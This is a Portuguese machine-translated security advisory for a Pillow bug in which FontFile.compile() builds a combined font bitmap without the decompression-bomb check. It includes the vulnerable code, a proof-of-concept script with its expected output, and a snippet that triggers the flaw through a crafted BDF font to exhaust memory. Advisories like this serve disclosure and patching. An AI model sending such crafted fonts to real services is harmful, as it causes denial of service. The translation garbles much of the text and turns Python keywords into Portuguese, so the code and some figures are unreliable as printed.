`PIL/FontFile.py` `FontFile.compile()` reúne imagens por glifo em um único mapa de bits combinado usando `Image.new(" 1 ", (xsize, ysize)` sem chamar `Image._decompression_bomb_check()`. Este é o método de classe base compartilhado por ambos os `BdfFontFile` e `PcfFontFile`, e é acionado sempre que uma fonte carregada é convertida para um `ImageFont` ou salva. Nem o `BdfFontFile.BdfFontFile(fp)` nem `PcfFontFile.PcfFontFile(fp)` estão registrados com `Image.register_open()`, assim que o guarda- bombas padrão da Pillow nunca dispara para objetos de fonte. O passo de compilação é a oportunidade final de verificar a alocação combinada — e não tem nenhuma verificação. ** Código voluntável ('Linhas 'PIL/FontFile.py'' ~ 64 – 92 ):**. ````python def compil( self) -> Nenhum: se self. bitmap: retorna.

h = w = largura máxima = 0 linhas = 1 para o glifo em self. glyph: # até 256 Glifo slots se glifo: d, dst, src, im = glifo h = max(h, src[ 3 ] - src[ 1 ]) # altura glifo máx. — controlado pelo atacante w = w + (src[ 2 ] - src[ 0 ]) se w > WIDTH: # WIDTH = 800 linhas += 1 w = src[ 2 ] - src[ 0 ] largura máxima = max( largura máxima, w) xsize = largura máxima # ≤ 800 (capelado pela constante WIDTH) ysize = linhas * h # ← linhas( 256 ) × h( 65535 ) = 16,776,960 se xsize == 0 e ysize == 0: retorno. self.ysize = h # NÃO _decompressão_bomb_check() aqui ← self.bitmap = Image.new(" 1 ", (xsize, ysize) # ← alocação não marcada ``.

**"Actamento de acumulação lenta" — dimensões por glifo permanecem Limiar de aviso BAIXO:** Dimensionamento por glifo ( 800 × 875 ). Mapa de bits combinado ( 256 glifos) 700,000 | ** 179,200,000 ** ї. DescompressãoLimite de aviso de Bomba ( 89.4 M). 0.008 × — ** sem aviso**. 2.0 × — acima do aviso. DescompressãoLimite de erros ( 178.9 M). 0.004 × — ** Sem erro** (') ** 1.001 × — acima do erro**. Com altura máxima do glifo do PCF ( 65,535 ). Dimensional Valor linhas 256 (um slot por glifo, largura= 800 força um envolvimento de cada glifo). h (altura máxima do glifo). 65,535 Xsize 800 Ysize = linhas × h 256 × 65,535 = ** 16,776,960 **. **. *. *. *. *. *. *. *. *. *. *. *. *.. *. *. *. *.. *........ 800 × 16,776,960 = ** 13,421,568,000 **. **. DescompressãoLimiar de erros de Bomb**. ** 75 Memória (modo " 1 ", 1 bit/pixel). **~ 1.6 GB**.

Passos para reprodução. **Proof of Concept script:** ```python #!/usr/bin/env python 3 """ PoC: FontFile. compile() bypass da bomba 256 Glifos em 800 x 875 cada um (individualmente abaixo do limiar de aviso) → compilar() cria 800 x 224000 = 179.2 M px bitmap com NÃO verificação de bomba """ a partir da importação PIL FontFile, Imagem MAX_GLIPHS = 256 GLYPH_W = 800 GLYPH_H = 875 # individual: 700 K px — abaixo 89.4 Limiar de aviso M.

classe MockFont(FontFile.FontFile): def __init_(self): super().__init__() # Cada glifo é individualmente seguro ( 700 K px < 89.4 M advertência) im = Image.new(" 1 ", (GLYPH_W, GLYPH_H) para i no intervalo(MAX_GLYPHS): self.gliph[i] = ( (GLYPH_W, GLYPH_H), ( 0, -Glyph_H, Glyph_W, 0 ), ( 0, 0, GLYPH_W, GLYPH_H), im, ) # Confirme a verificação da bomba pegaria o tamanho combinado combinado_tamanho = (GLYPH_W, MAX_GLYPHS * GLYPH_H) tentaria: Image._decompression_bomb_check(combined_size) print("[FAIL] bomba verificada não aumentou — inesperado") exceto Imagem.DecompressionBombErro como e: print(f"[OK] bomba verificada Bloque {combined_size}: {e}") # Caminho vulnerable: compilar() não tem nenhum tipo de fonte de verificação de bomba = MockFont() fonte.compile() # → Image.new(" 1 ", ( 800, 224000 )) — nenhum erro levantado.

px = fonte.bitmap.size[ 0 ] * font.bitmap.size[ 1 ] limiar = Imagem.MAX_IMAGE_PIXELS * 2 print( f"[BYPASS] compil() conseguiu: bitmap={font.bitmap.size}") print( f" pixels={px:,} ({px/ sobro:. 3 f}× DescompressãoBombError limiar)") print(f" Sem DescompressãoBombError levantado em qualquer ponto.") ```` **Saída esperada:** ``` [OK] verificação de bombas Bloqueia ( 800, 224000 ): Tamanho da imagem ( 179200000 pixels) excede o limite de 178956970 pixels, pode ser um ataque de bomba de descompressão DOS. [BYPASS] compil() foi sucesso: bitmap=( 800, 224000 ) pixels= 179,200,000 ( 1.001 × DescompressãoBombError limiar) Nenhuma DescompressãoBombError levantado em qualquer ponto. ``` **Verificado ao vivo no Travesseiro 12.2.0 — compilar() é bem sucedido sem exceção.**.

** Ativador real usando o arquivo de fonte BDF:** ```python da importação PIL Importação de arquivos BdfFont io # Carregar uma fonte BDF criada com 256 glifos cada um reclamando altura= 65535 # (cada glifo individualmente: 800 × 65535 = 52.4 M px — abaixo 89.4 Alerta M) # compilar() combinado: 800 × 16,776,960 = 13.4 B px — 75 × fonte limiar de erro = BdfFontFile.BdfFontFile(open("crafted_ 256 glyph.bdf, "rb")) font.to_imagefont() # → compilar() → ~ 1.6 Alocação de GB, NÃO verificação de bomba ``` **Ataque cenários:**. . Scenário Efeito............................................................................................................................

- **Disponibilidade:** HAUTO — ` compile()` cria um mapa de bits combinado cuja contagem de pixels é escalada como `WIDTH × linhas × max_ glyph_ height` sem cheque de limites superiores. Com altura máxima do glifo do PCF ( 65,535 ) e 256 glifos, a alocação combinada é ~ 1.6 GB. Com o BDF (formato de texto, altura não delimitada), a alocação é limitada apenas pela memória do sistema. - **Confidencialidade:** Nenhuma - **Integridade:** Nenhuma **Caminhos de chamada afetados:** - `BdfFontFile.BdfFontFile(fp).to_imagefont()` → `FontFile.compile()` - `BdfFontFile.BdfFontFile(fp).save(nome do arquivo)` → `FontFile.compile()` - `PcfFontFile.PcfFontFile(fp).to_imagefont()` → `FontFile.compile()` - `PcfFontFile.PcfFontFile(fp).save(nome do arquivo)` → `FontFile.compile()` Nem o `BdfFontFile` nem `PcfFontFile` são carregados via `Image.open()`, por isso o guarda- bombas padrão de descompressão está ** totalmente ausente** do caminho do código de carregamento de fontes. `compile()` é o único ponto onde o tamanho de alocação combinada é conhecido, e não tem cheque.

Confirmado não empaquetado no ramo `python- pillow/ Pillow` `main` a partir do 2026 - 06 - 08. Registro de aconselhamento: GHSA- 5 x 94 - 69 rx- g 8 h 2. Identificadores relacionados: CVE- 2026 - 54060. Tempo: GitHub Advisory Database publicou este registro em 2026 - 07 - 20 T 21: 08: 40.000 Z e lista a sua última modificação como 2026 - 07 - 20 T 21: 08: 40.000 Z.

Severidade: ALTAMENTE. Dados de pontuação publicados: CVSS_V 3: CVSS: 3.1 /AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H. Software afetado e informações de versão: Almofada do pacote PyPI — ECOSISTEM: introduzido 0, corrigido 12.3.0. Classificação e evidência: identificadores de fraqueza CWE- 789. O registro contém 6 suporte de referências nestes tipos: WEB, AVISO, EMBALAGAMENTO.